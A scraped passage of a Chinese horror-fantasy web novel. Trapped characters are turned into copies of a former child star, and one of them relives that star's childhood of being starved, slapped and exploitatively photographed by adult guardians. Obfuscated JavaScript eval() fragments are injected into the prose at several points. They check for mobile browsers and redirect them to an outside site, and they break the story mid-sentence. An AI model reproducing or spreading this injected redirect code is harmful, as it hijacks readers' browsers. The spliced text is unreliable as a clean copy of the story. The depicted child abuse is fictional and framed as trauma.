邹杰伦一个激灵,抓住关键词,其余什么都顾不得:“等等……你要退房了?” “没错。”赖星星回答,“所以可惜嘛,要是路蒙在就好了,我还没来得及跟他告别呢……” 邹杰伦震惊之下,也顾不得打断她:“为啥呀?” 赖星星一副看傻子的样子看着他,佯装愠怒:“你这人!” “我不是说了嘛!有人要杀我呀!今天要是抓不到,我有可能就死了呀!” 邹杰伦双目圆瞪,觉得赖星星这话漏洞百出,可惜脑子转的不够快,所以当下没能立刻反驳。 眼见事态不妙,祖丽总算插话进来,对赖星星道:“您的意思是说,我们今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944657|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来的人里面藏了一个杀手,您这次额外的客房服务需求,是要让我们两个人帮您把他找出来,没错吧?” 赖星星打了个响指:“Bingo!总算有个明白人了!” “想问一下……您为什么会这么觉得呢?”祖丽的提问小心翼翼。 终于问到了!邹杰伦在一旁暗暗扼腕,觉得祖丽的话术过于委婉。 赖星星的回答斩钉截铁:“不是觉得,是知道。难道要我死在你们面前,你们才会支持我自卫吗?” “那么……这里真的有一个杀手的话,”祖丽咽下“假设”两个字,顺着赖星星的话往下说,“那叶原秋就是他杀的吗?” “这我就不知道了。”赖星星声音冷淡,“我只知道他的目标是我。” “……” 自觉多说无益,祖丽沉默半响,道:“这样可以吗,现在就我和邹经理两个,我们想商量一下再给您答复。” “可以。”赖星星爽快回答。 祖丽冲她点点头,在对方的默许下,拉着邹杰伦进到旁边的一个房间。 初始进入的包厢里有两扇门,两人通过与来时不同的另一扇,进入一个崭新的空间,他们明明记得,原本包厢已经到头了才对,哪里又出现的一个新的包厢呢?还是那句话,仅从外表,完全想象不出1408房间内部的构造。 只剩下和祖丽两人时,邹杰伦终于反应过来,压抑着的怒火爆发,压着声音骂:“那个想一出是一出的疯女人!这是被害妄想症犯了吧?” 他心里更多的是不能宣之于口的忧虑,他现在重点全放在后半部分,赖星星要退房了……谁懂啊!来一趟把尊贵的房客给弄没了,这可怎么回去跟老板娘交差哦…… 尤其是赖星星退房的借口——客房服务里混进了杀手?无异于投诉饭店食物投毒啊!这生意也不要做了! 对于赖星星的说辞,邹杰伦明显是完全不信的,祖丽眉头紧锁,将信将疑,眼下这种情况,争辩也无益,还是想想他们的下一步要怎么做才比较现实。 “你怎么说?”祖丽问邹杰伦。 如果是假的,他们等于陪赖星星演一场戏;如果是真的…… 死去的叶原秋和神志不清的齐翰像是阴云一般,笼罩在祖丽心上,事情好像没那么简单…… 邹杰伦心乱如麻,还指着祖丽呢,毫无建设性地反问:“你呢?” 祖丽想了想,回答:“客房服务就是客房服务。” 她完全是雇佣心态,随遇而安,话里的意思,便是要帮助赖星星达成愿望了,说实话,此刻好像也没有更好的办法了…… 祖丽的重点放在“客房服务”本身,而邹杰伦的想法已经发散到了赖星星退房的后果上,露出不置可否的神情。房客没了,怎么办?从哪里找到下一个房客? 有了! 他们同行的人里不是有个现成的人选吗?即使付费也要来房间一趟的——辛恬! 同样的精神力富人,现实里被当作赖星星的替身,为什么不能作为房客的替补? 想到这里,邹杰伦眼神一亮。 祖丽看他的表情,猜出了个大概,不过她不得不提醒他:“不管怎么说,至少在退房以前,赖星星都还是房主。” 而他们的使命,就是要完成房主的要求…… 邹杰伦耸耸肩,突然诡秘一笑,道:“丽姐,你说什么就是什么咯。” 祖丽愣了一下。 邹杰伦无所谓的神色一晃而过,下一秒,忽而转身朝着包厢的门跑去! “喂!你干什么!” 邹杰伦是在几秒前下定决心的,祖丽为人正直,某些时候,甚至有些死板……但他可不是! 或许这也就是为什么,钱得乐一开始会把客房服务负责人的身份交给他…… 小人就小人吧!头脑灵活又不是他的错! 房间一旦开启,不到一定时间无法再关闭,他没抱希望能出去,不过剩下的时间,与其受赖星星摆布,不如从现在开始巴结新任房主呢! 赖星星外表骇人,但她毕竟无法调动房间的能力,一举一动还要仰仗他们!完全是纸老虎一个啊!他现在就要好好打脸赖星星,也趁早让祖丽认清形势! 这样想着,邹杰伦决定釜底抽薪,直接回去赖星星所在的包厢,让她明白,她放弃了房主的特权,究竟还放弃了什么? 祖丽愕然看着邹杰伦朝着门口跑去,身影消失在房间里,她愣了两秒才提起步子跟上。 心里不由得冒出那个奇怪的念头,这时候才有了些许实感似的,赖星星说有人要杀她……万一是真的呢? 52. 51. 观我(八) 回到赖星星的包厢前,邹杰伦以为自己已经想清楚了——他要当着赖星星的面离开这里,最好再放点狠话,让她知道,小爷他不伺候了!至于剩下的12个小时……谁怕谁啊,他们走着瞧! 说不定赖星星会后悔,回头又找来,工会趁机把三年来没变的房租再涨一涨,顺便吸纳一波像辛恬那种付费观光的客人,又是一笔收入,老板娘一定高兴,嘻嘻…… 他最终意识到,他以为的,只是他以为的而已。 回到原来那个包厢,里面的样子就和他离开时一样,赖星星背对着他,坐在圆桌的一张椅子上。 邹杰伦哼了一声,像是强调自己的存在似的。 赖星星没有转头。 他才不稀罕!包厢里一共两扇门,他二话不说,朝着另一扇门走去,如同一只骄傲的雄孔雀。直到他转开门把手,已经被落在身后的赖星星也没有一点要过问的意思。 他推开门,却不见他来时的走廊,一个一模一样的包厢出现在眼前。 怎么会? 新包厢里,一个看上去像赖星星的人依旧背对着他,坐在圆桌的其中一把椅子上。 邹杰伦脚步顿住,有点踌躇起来。 明明已经觉得不对,可他那一鼓作气好不容易下定的决心,要是就停在这里,岂不可惜。他咬紧牙关,步履有些凌乱,压根不敢转头,飞快跑向下一道门! 这次他只是把门推开,没有像上次那样立刻跨进去,果不其然,出现在他眼前的,一样的包厢,一样的圆桌,一样背对着他的赖星星。 他身上起了一层薄薄的鸡皮疙瘩。 背对着他的那个是赖星星,而他身后还有一个赖星星……此时正在看着他吗? 等等……赖星星不是没有外化房间的能力吗?! 他该怎么办?继续到下一个房间?还是现在灰溜溜地退回去? 他左右为难,维持着原地开门的姿势,不敢动,不多时,额头上出了一层冷汗。他就好像困在那个123稻草人的游戏里,很显然,赖星星在故意戏耍他。要是他现在回头,背后那个赖星星估计会像恐怖片里一样突脸出现吧? 想到那张木乃伊一样的绷带脸,他忍着惊悚,努力给自己做着心理建设,没什么好怕的……大不了他被吓死,再从梦里醒来就是了。邹杰伦在心里不停地宽慰自己,霎时又想到了不久前的叶原秋尸体,心中隐隐不安。 他就那样停在那里,一根手指都不敢动,仿佛过了一个世纪那样久。他感觉赖星星就要说话了,好像已经说了……毛茸茸的声音擦着耳边,她呼出的气流,扬起的绷带的毛边……吸引着他回头,不,并没有,只是他的错觉,她比他想象中还要有耐心,此时正在他背后用冰冷的充满戏谑的目光肆无忌惮地打量着他……他真是受够了! 他猛地朝左边转过头去。来吧! 背后没有人! “砰!” 右手边的门在他面前狠狠关上!他猝不及防,朝声音的方向看去,包厢门距离他的鼻尖只有一厘米。 他被那声巨响吓到,却不是他想的那种惊吓,正放心了些,下意识转回头。 那张蒙着绷带的脸在此时突然出现,和他想象中一模一样,呼出毛茸茸的暖湿气流,带起绷带的毛边……同样距离他的鼻尖也只有一厘米! “啊啊啊啊啊!”邹杰伦心脏骤停,发出失控的尖叫,整个人瘫倒在地,背死死抵着门,两只脚乱蹬着。 赖星星的眼睛弯了起来,看起来十分满意。 “这下我是真的可以排除你是那个杀手了。”赖星星呼出一口气,看着邹杰伦。 那双黑漆漆的眼里,好像是看见了,好像又完全没把他放在眼里。 “要是他像你一样蠢,就也没什么意思咯。”赖星星语气轻松地吐出让人毛骨悚然的话,“这次就算了。下次要是再不听话,我会把你也杀掉哦。” 邹杰伦胸口还在剧烈起伏,感到舌头麻木,连话都说不出来。 就连抵在他背上,那扇坚/挺的门也变得不再可靠,邹杰伦整个人朝后仰倒——这时有人从包厢里面打开了门。邹杰伦顿时一惊,瑟瑟发抖地看着……另一个绷带缠脸的“赖星星”从里面走了出来。 “我是祖丽。”另一个“赖星星”,目光复杂地看着邹杰伦。 她听命于赖星星,已经先一步被变成了这副模样。 他们都错了,他们以为赖星星给了他们选择的机会,其实他们从没有过。 只能服从,否则,她有的是办法对付他们。 她什么时候掌握了房间的外化能力?! 这个事实完全出乎了他们的意料。 就说赖星星看上去跟之前似乎有什么不同……大概是,她不再装了吧。 “你们懂什么!不装弱怎么使唤路蒙干活?”赖星星对上另外两人的目光,像是知道他们在想什么,捂着绷带下的嘴轻笑,“你们到底有没有好好看过他搬砖时候的肌肉呀?” 她就是这个房间里的主宰。至于为什么还要和剩下的人周旋,可能是……她还没有玩够? 等邹杰伦回过神来时,他和祖丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951950|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,外表都变成了“赖星星”。 他艰难理解现在的情况:赖星星的目的是要抓住那个据说来刺杀她的杀手,实现反杀……方法是,制造两个和她一模一样的“赖星星”替身? ——不,不只两个。 “疯女人……” 出现在众人面前,身处悬空的中庭露台,他们三人像是演出一场傀儡戏一般,变幻着舞步,交换着站位。邹杰伦被一种神秘的力量控制,舞动,感觉周围的一切都在旋转,很快,他也认不出身旁两个赖星星的真实身份了。 他在旋转中,目光飘下露台,大堂里,包括死去的叶原秋在内,还有八个人,他们不约而同仰头看着露台上的节目,对于目前的情况将信将疑。 又一个旋转,他差点被身边的人抛下露台,是谁?坏心眼如赖星星,力大如祖丽……他的目光又飘到台下。 那站着的七个人不见了,取而代之的是,七个赖星星,叶原秋的尸体依旧躺在地上,盖着浴巾。 该死,困在房间里的12个小时,难道他们都要受赖星星这恶作剧的摆布? ——不,不只是12个小时。 据赖星星所说,她提前吃了三倍的药量,用简单粗暴的数学计算,是36个小时。 “疯女人,真是个没脑子的疯女人……”事已至此,邹杰伦也词穷了。 所以,果然是吃错药了吧! 猫抓老鼠,也没听说过把老鼠都变成猫的啊! 与其相信赖星星另有计划,他宁可相信是她太自恋了,什么“只看着星星吧”……怎么看她都不像是有脑子的样子。 “早就想说了,这个房间,来来回回就那几个场景,不会太无聊吗?”耳边像是又响起了,赖星星毛茸茸的声音,所有人的嘴都被绷带遮住了,不知道说话的是哪个赖星星,那声音就像是从房间的某处传来似的,又十分清晰地进入每个人的耳朵里。 “所有人都想着要怎样将我治愈……谁还记得,我是怎么坏掉的呢……” 那声音逐渐低不耳闻。 房间像是她的一个庇护所,在进入房间之前,她长期受到不同的噩梦搅扰,进入房间之后,噩梦随之一清,反复上演着相似的剧情,像是止痛药。 开始有效,现在她感到无聊。 那个潜入此地要将我杀死的人啊,你来是要将我从此地解救出去的吗?…… 长时间被“房间”压制的无数噩梦在房主的授意下反扑而来。 和所有人一样,苇思航的眼前亮起一片白光,直到完全失去了视野。 53. 52. 观我(九) 苇思航醒来时,发现自己正在行驶中的汽车上。 不过她在后座。 副驾坐着一个女人,听见后面的声音,半转过头来。 “你醒啦?” 车外街景摇动,正值黄昏,给眼前的一切染上一片陈旧的滤镜似的。这车像是朝着硕大的落日奔去,随时都要燃烧起来,眼前的白光如此熟悉,苇思航感觉眼前一片干痛,眯起眼睛……那女人放下遮阳板,脸在阴影中变得清晰起来。 很美的一张脸,看上去大概二三十岁,脸型饱满,下巴尖尖,眉眼如画。 苇思航张了张嘴,想说什么,出口却是:“妈、妈……” 那女人笑了:“星星想妈妈了?阿姨刚给你妈妈发了信息,等晚点直接来我家接你。” 苇思航听见那个称呼,呆了一呆。 她现在是赖星星。 这里是……赖星星的梦? 她还在房间里吗? 苇思航看向四周,只能得出一个结论——她现在在车里,被安全带紧紧绑在后座中间的位置上。安全带像是被卡住了,伸缩不过几厘米,从她的角度看去,能看见前座漂亮女人,还有正在开车的男人的后脑勺,她又低头看自己的手,属于10岁小孩的小小的手,伸长手臂也碰不到车门。 ——她现在是10岁的赖星星。 “很快就到咯。”副驾那女人道,扭过上半身,看着“赖星星”,像是有些无奈,伸手替赖星星擦了擦嘴角,语气宠溺道,“这孩子,睡的太久,口红都花了。” 她的指尖有一点凉,指甲尖尖的,像是挠了她一下。 车子开的不快,一直在缓慢地上坡,像是朝着一轮落日奔去,车内盛满了令人眩目的夕照,忽地到达了顶点,车子开始下坡了,金黄的日光开始退潮,昏暗此消彼长,朝着未知的深渊沉降。 “喏,你自己看。”漂亮女人说着,递给苇思航一面镜子,还有一只简单的化妆包,语带笑意道,“我们的小明星要注意形象呀!” 车厢里暗了下来,苇思航在颠簸的朦胧光线中,看到镜子里自己的脸。 当然不是她的脸,是赖星星的脸。 10岁小孩的脸多是用“可爱”来形容,但对于童星的赖星星来说,“可爱”这样的形容词就显得太初级了。童稚未退的小脸上塞满了标致的五官,再用深色细细描摹,眼头尖尖的,眼尾也尖尖的,被眼线笔拉长了出去,显出几分让苇思航这个成年人不适的成熟。她的嘴唇涂了颜色,是红红的,就像前座女人说的那样,边缘有些模糊了,她的眼睛周围也是红红的,是皮肤的底色,从亮粉的眼影后面透了出来。 苇思航忍不住吸了一口气。 “怎么了?”前座女人听见了,看她一眼,善解人意地笑起来:“自己不会补妆?一会阿姨帮你。” 苇思航搞不清状况,没有回话,也没有动。 “乖乖的,别哭啦。”漂亮女人说着,又从前座抽了两张面巾纸,递给苇思航,苇思航眨了眨眼睛,感到眼睛附近肌肉的牵拉和紧绷,她的眼睛肿了,似乎是刚哭过。 她在车上睡着前一直在哭,这时醒了,又听漂亮女人安慰道:“跟你说了,怎么就是不听呢?片场的叔叔阿姨不是故意不跟你说话的,是导演说了,你找不到状态,为了帮你找到状态,所以才让其他人装作不理你的。你看你后面几场戏一条过,说明是有效果的,对不对?导演私下里还夸你呐!” “再哭妈妈也要伤心咯!她一个人带你,多不容易,你要体谅妈妈呀。今天终于杀青了,阿姨带你玩儿,也让妈妈放松放松,好不好?” “……” “好不好?” 没等到苇思航的回答,女人的眉角跳了一下,像是某个无法跳过的程序,锲而不舍地继续问:“好不好?” 苇思航屈服了:“……好。” “除了好,还要说什么?” “……” “妈妈怎么教你的?要有礼貌,要说什么?” “……阿姨。” 女人扭着脖子,超过了90度,听见这个称呼,她明显不太满意,无奈又慈爱地道:“什么阿姨,是姨妈啦!” “……好,姨妈。” 苇思航无语了,刚刚明明是她自己自称“阿姨”的啊! 好在女人听见她改口之后,没再多作文章,把头又转了回去。 苇思航得到了一点零星的背景知识,来自赖星星的回忆。眼前这个女人名叫夏楚,是个十八线小演员,也是赖星星母亲赖梅妹的结拜姐妹,两人是在赖梅妹曾工作过的美容院里认识的,这二人一见如故,一拍即合,情同姐妹,多亏了夏楚,赖星星才能走上童星之路。 赖星星从小长得好看,6岁多就开始在影视剧里跑龙套,这一次被导演相中拍摄电影中女主女儿一角,也是她的第一个重要角色,夏楚和赖梅妹二人都十分高兴。 今天电影杀青,赖星星妆还没卸,就被夏楚接走了。 车子在暗下来的路上行驶,照夏楚所说,目的地是夏楚的家。路况不太好,一路很是颠簸,苇思航感到安全带的铁扣压在她的肚子上,她胃里一阵难受。 好饿…… 在灵界这么久,这还是苇思航第一次有这种强烈的饥饿感,她又看着自己的手,10岁小孩的手腕细的像麻秆,别是营养不良吧?不知道上一次吃饭是什么时候,虚软的一点力气也没有。 “到家了。” 不过多久,车在某个住宅楼前停下。苇思航默默观察着,主驾上从头到尾默默开车的男人,娴熟地倒车,换档,熄火。副驾上夏楚打开门,紧接着男人也下了车。 奇怪,反而当苇思航一个人在车上的时候,她感觉更安全自在,不过也只有几分钟而已,她正鼓捣着仿佛锈死的安全带扣,一侧的车门打开了。 “下车吧,小公主。” 苇思航听见夏楚揶揄的声音传来,她站着没动,反倒是那个男人先探身进来,帮苇思航按开了安全带扣,“啪”的一声,束缚了她一路的安全带应声而解。 那个男人伸出来的手臂粗壮,汗毛浓密,一直没入衬衫里面,做势要抱苇思航出去。 苇思航朝他看去一眼,感到自己后颈的汗毛整片炸开! “不,不用了,我自己来就好,”苇思航忙道,垂着眼,扯着安全带的一侧,与那熊一样健壮的成年男人对峙片刻,脸上挤出一个笑容,“谢谢你……姨父。” 那男人顿了两秒,把上半身从车厢里拔了出来。苇思航不敢耽搁,慌忙打开另一侧的车门,跳下车。 夕阳沉没了,天空残余着血色的彤云,一栋老式的公寓楼孤零零地立在路旁,门楼像一个黑洞洞的入口。 夏楚和那男人一起站在门口等着苇思航,男人十分高大,比夏楚高出大半个头,夏楚小鸟依人,站在他身旁,两人正如美女与野兽。 这不完全是苇思航的修辞,她是说,真的野兽。 她本就觉得那男人浓密的体毛有点过于夸张了,不仅是手肘,胸前也爬满了,几乎看不见裸露的皮肤,从衬衫领口里蔓延出来,一直到领口以上的……或许应该叫皮毛才对。那根粗壮的成年男人脖子上,顶着的竟是一张狗熊的脸!皮毛后藏着的目光浑浊,鼻息粗重,嘴唇上翻,露出肉红色的牙龈,想象的到的腥臭的气息,刚刚曾喷到苇思航的侧脸。 苇思航不敢再看,又垂下眼睛。还因为夏楚凑过去,不合时宜地在那张熊嘴上热吻起来,那场景实在让人不适。 如果不是苇思航此时没有力气,她真想转身就跑! 好一会,这场异形电影一样的亲密戏份才结束,夏楚与熊男分开,对着被晾在一旁的赖星星反将一军:“星星,还愣在那里做什么?快走呀!” “……” 苇思航别无他法,跟着二人磨蹭着走向黑漆漆的门洞。 老式公寓楼的楼道狭窄,两个成年人一前一后,把苇思航夹在中间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苇思航心里叫苦不迭,她站在高一级的台阶上,在昏暗的楼道里偏头看见夏楚的脸,她脸上的粉底液有些斑驳了,卡在眼角嘴角,这些细小的纹路里,泄露了精心粉饰的秘密。她保养得宜,乍一眼说是20多岁也不为过,然而手和眼睛,都是骗不了人的。 ——其实她比赖梅妹的年纪还要大,今年已经四十六岁了。 * 苇思航忍耐着想要把夏楚从楼梯上推下去的冲动,无奈被抓作了夏楚的拐杖,被拄着爬了几楼,总算到了5楼夏楚的家。 要是再不到,她觉得自己就要饿晕过去了。是不想被熊男抱进家门的信念支撑她到了最后。 吱呀两声。 打开一道生锈的铁门,里面还有一道旧防盗门。三个人先后走入玄关,苇思航眼睁睁看着身后的退路被熊男姨父封死,心往下坠了坠。 眼前一片白光闪过,电灯像是永恒的闪电一样,将屋内照亮。 从昏暗的楼道进入室内,突然明亮的灯光让人很不适应。有些,太亮了。 那种亮是堪比专业摄影棚里的亮度,让人精神紧绷,无所遁形。玄关正对着客厅——其实没有什么“客厅”的功能可言,被改造成了另外的用途。墙上本就不大的暗窗被封死了,取而代之的是一整面摄影白幕,一直延伸到地面。除去白幕的地上其他地方拥挤而肮脏,摆满了垃圾,快递袋,外卖包装盒,用过的易拉宝,脱掉的旧戏服……不远处堆着各种说不上名字的摄影器材,可见主人对它们也不甚爱惜。 强光反倒给夏楚的脸上了一层滤镜似的,细小的皱纹瞬间隐形,显得柔美又可亲。 “小美女,累了吧,饿不饿?”——继“小明星”,“小公主”之后,夏楚又换了一个称呼,问苇思航。 苇思航眯着眼睛,还在适应着光线,听到这句话,顿时什么都顾不得了,点头不迭。 熊男一言不发,拖着笨重的身体在一旁的单人沙发上坐下,随手拎起半瓶啤酒,开始调试起相机。 对了,她这位“姨父”,也算是业内人士,不算有名,不过年纪在这里,对外也能以一位资深的摄影师自称。 夏楚换上拖鞋,人顿时矮了一截,不过走路还是那般拖泥带水的。苇思航眼睛都绿了,看着她走进厨房,从冰箱里捧出——奶油蛋糕,儿童乐园餐,甜甜圈,水果拼盘,爆米花。 54. 53. 观我(十) 咔嚓,咔嚓。 闪光灯闪个不停。 奶油软榻了,炸鸡的脆皮碎成了面糊,甜甜圈的糖霜融化,香甜的水果丧失了水分,爆米花一坨坨粘连在一起。 不影响它们在镜头的表现下美轮美奂,宛如新鲜出炉,让人十指大动。 即使用肉眼看见了这些食物的真面目,苇思航还是想……吃。 “这组不错,很好,准备下一组!” 咔嚓声终于暂时停下。 苇思航手里作为道具的甜甜圈被夏楚不由分说地拿走了,她气闷地把沾了糖霜的手指放在嘴里,尝到甜味留下的有些发苦的味道,她全身的细胞都在哀鸣,渴望着食物,不开玩笑,她的手在发抖。 “姨妈,什么时候能吃饭啊,我好饿……” “早上才吃过,这就饿了?”夏楚切换到工作状态,板着脸,轻飘飘朝她扫去一眼,“我看不是饿,你就是馋。” 奚落完,她不管苇思航,径自走到熊男身边审片,指导起来:“你一会相机放低一点,多注意一下,她右脸这个角度不好看,尽量别这么拍……” 苇思航呆呆站在原地,感觉灵魂出窍。夏梦又走过来了,塞到她手里一根香蕉。 “真是拿你没办法,先吃这个吧。”夏楚大慈大悲地发话。 就算她不说,苇思航也不惜违逆她。她实在太饿了。 三下两下扒开香蕉皮,她狼吞虎咽起来,熊男收到指示,按下快门键,又是“咔嚓”“咔嚓”几声的抓拍。 镜头里的苇思航,就像那些坏掉的食物,外表看上去完美无暇,让人十指大动,睁着圆溜溜眼睛的样子还有几分可爱。 只有她知道自己此时的胃口像个黑洞,她却必须学会量入为出的道理,两三口吃完半根香蕉,留下另外半根细嚼慢咽,熬过剩下的时间。半根香蕉轻飘飘地下肚,仿佛石沉大海,她还感觉不到什么,好在手终于不那么抖了。 还是好饿…… 这是在拍她今天杀青后即将放送给粉丝的福利照片。还有下周她的庆生照,节日的问候照,粉丝点名要求的日常照……不知道拍了多少组,闪光灯的咔嚓声响个不停。 苇思航在调试换装的空隙中时而珍惜地抿一口剩下的香蕉,夏楚看她那样,又不高兴了,板着脸:“别吃了,小心肚子鼓出来,一会还要吃饭呢。” 这话她刚开拍时就说过。 苇思航是一个情绪稳定的成年人,只是被困在十岁小孩的噩梦里,按理说她不应该…… 她忍不住哭了。 愤怒、无力、委屈……假设本来有七分,饥饿把这些情绪激化到了十分。 “我要……妈妈……你有没有打电话给我妈妈?” 如果妈妈在这里,一会不会让姨妈这样对她…… “闭嘴!哭个屁!” 夏楚居高临下,冷冷地看着她,猝不及防地给了小女孩一巴掌,苇思航的头偏到一边去,整个人愣住了。 “你这是干嘛啊?”熊男举着相机就位,此时懒洋洋地开口。 他的不满倒不是因为别的。 “还拍不拍了?应该到饭点了吧?” 好像只要夏楚说不拍,他也随时准备溜之大吉。 “两个饭桶!就知道吃!”夏楚索性一起骂道,指着熊男没好气,“你在那别动!” 她又走到苇思航跟前,胡乱用苇思航的头发遮住被掌掴的那边脸:“就这样,再拍几张,拍完吃饭,吃吃吃,多大人了,就知道吃!” 熊男接话,似乎不太确定:“这么拍能行吗?” 夏楚烦躁地点燃一只烟,无所谓地呛回去:“反正她那边脸也不好看。” 咔嚓,咔嚓。 闪光灯又响了起来。 * 她得到的晚餐是超市里的蔬菜沙拉,因为酱料热量太高,没有放酱。 饭桌上,她不说话,嚼着嘴里的菜叶子,想象自己是童话里的小兔子。 夏楚的晚餐和她一样,姨父大口大口吃着热乎乎的面条,撅着嘴巴凑近面汤,吸得啧啧有声。 夏楚用塑料叉子在生菜叶上戳来戳去,同样被丈夫吃面的声音搅的心烦意乱。 目光扫到身边的小女孩,大概是想到了自己刚才的所作所为,觉得还是有必要弥补一下。 她从碗里抬起头,看见姨妈把自己碗里的圣女果叉了一个给她。 和水叽叽没有味道的蔬菜不一样,红红的圣女果是甜的,酸的。光是想象就刺激味蕾。 她很想有点骨气,拒绝姨妈的示好——但是她太饿了。 她一口咬住那钓饵。 夏楚的表情一松,像是放下心来,柔声道:“好孩子。” “刚才是姨妈不对,体谅一下,太久没吃碳水,脾气不好,星星原谅姨妈好不好?” 她不说话。圣女果的味道还留在舌尖,她搜刮着齿缝,怀疑是否还有剩下的籽。 夏楚见怪不怪,她放下叉子,不再吃了,转而把刚刚点燃的那只没吸完的烟塞进嘴里,开始吞云吐雾,尼古丁有抑制食欲的功效。 夏楚看着依旧埋头苦吃的小女孩,自顾自地逗引着她:“刚才审片的时候,我才发现星星两边耳朵原来不一样高,怪好玩儿的。” “……” “改天给你剪个斜刘海平衡一下,不知道能不能不那么别扭?” “……” “星星跟妈妈长得不太像,记得你说过,是长得像爸爸?星星想不想爸爸?” 像是一只苍蝇飞上了餐桌。 她囫囵把碗里剩下的食物塞进嘴里,好像多了一丝底气,谁也想不到她会突然爆发。 夏楚一脸惊讶地看着她。 “我要妈妈。”她声音清晰地道。 夏楚一愣:“知道了,星星想妈妈了,一会阿姨就给她打电话,让她晚上来接你。” 她不依,攥紧拳头,克制身上丢脸的颤抖,她其实害怕极了。 “你现在就打。”她一字一句,声音不大却清晰。 她讨厌夏楚姨妈! 夏楚打她,事后还装好人,她要告诉妈妈! 夏楚看着她,半天没说话,估计也被她吓到了吧? “好。” 她的目光紧追不舍,督促夏楚掏出手机,在键盘上拨号,电话接通中。 “……喂?”——是妈妈的声音! 夏楚凉凉地看了她一眼,那目光,简直不像在看一个孩子,她把手机靠近耳边,柔声道:“梅妹啊……” * 饭后还有最后一组照片。 明明吃完了饭,苇思航还是觉得肚里空空,感觉是十分饿和五分饿的区别。 好在赖梅妹就要来了。 苇思航下意识看向房间的两道铁门,等着开门的声音响起,带她逃离这个地狱。 她跟夏楚约等于撕破脸,后者对她完全冷淡下来,饭后一声不吭,进了厨房,连眼神都没给她一个。 熊男饱餐一顿,打着饱嗝,一屁股坐到客厅与玄关之间的沙发上,像个门神,大手捏着袖珍玩具一样的相机,随手调试着参数。 三人份的碳水都让他一个人吃了,这会便有点昏昏欲睡,止不住小鸡啄米地点头。 苇思航默不作声,看准时机朝他走去。 “——你在干嘛?”夏楚皱着眉头,擦着手从厨房出来,目光如同警惕的鹰隼,锁定在苇思航身上。 “没什么……” 好在夏楚没有追究。 “你去洗个澡,再换个衣服。一会最后一组,拍完就完。”她粗暴地塞给她一团洗漱用品,“还要我请你吗?” 苇思航心中有鬼,被她推搡着来到卫生间。 等夏楚退出去,卫生间里只剩下苇思航一个人,她求之不得,长长呼出一口气。 确定门已经反锁,她紧绷着的情绪总算松懈了下来。 这个梦到底什么时候能结束啊? 她放下马桶盖,坐在上面,整理思绪,怕外面起疑,顺便打开了花洒,房间里便充满了哗哗的水声。 * 还有最后一组照片。 她像是被人打包的垃圾,团成一团被送进浴室。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……你说那个写真,真的?真的能赚那么多钱嘛?” “当然了,我骗你做什么?门路我都打点好了,一会等她出来,咱们今天先试试光,倒不是说在这里拍,之后找个外景什么的……” “啥,还要出外景?投入这么大啊?我还以为随便在家里拍拍就得了。” “投入大,牺牲也大呀!所以才能赚到钱嘛,”夏楚一副老到的表情,说话间露出森森的雪白烤瓷牙,“怎么,后悔了?舍不得?” “那有什么舍不得的!”赖梅妹情到激动,双手在空中比划,“她是我身体里掉出的一块肉呀!” ——因为是她的一块肉,所以可以随意处置。 ——还因为已经掉出来了,所以没什么可顾惜的。 赖星星闻到仿佛出自自己身上的腐臭味,她这块肉已经,烂掉了。 赖梅妹抖抖手指,随手摁灭烟屁股,在桌布上留下一颗黑疤。赖星星想象中自己的烂肉上也出现了一道焦黑的痕迹,仔细看,依稀是那道坐在椅子上没有回头的背影的形状。 * 那道背影此时也烙印在苇思航眼中。 苇思航感觉不妙,下意识往后退去,震惊、愤怒、恶心……种种情绪朝她袭来,最终坚定一个信念,不能再坐以待毙,她要逃! 像是闻到了恐惧的腐臭味道,椅背上那个女人的背影有了动作,伸懒腰一样,两只手在空中乱舞,又左右晃了晃脖子。只觉得眼前一花,女人纤细的脖子托着小小的脑袋,彻底挣脱了脊椎的束缚,越伸越长,直到超出了人类极限,一小颗头像气球一样漂浮在半空,又像一只毒蟒正从那具人类的身体中破体而出。 苇思航面对着门,一步一步后退。 那颗头蓦地转了180度,一双阴毒的三角眼朝卫生间的方向直钉而来! 隔在中间的毛玻璃像是不存在了,苇思航与那条毒蟒的目光隔空交会。 她正看着她!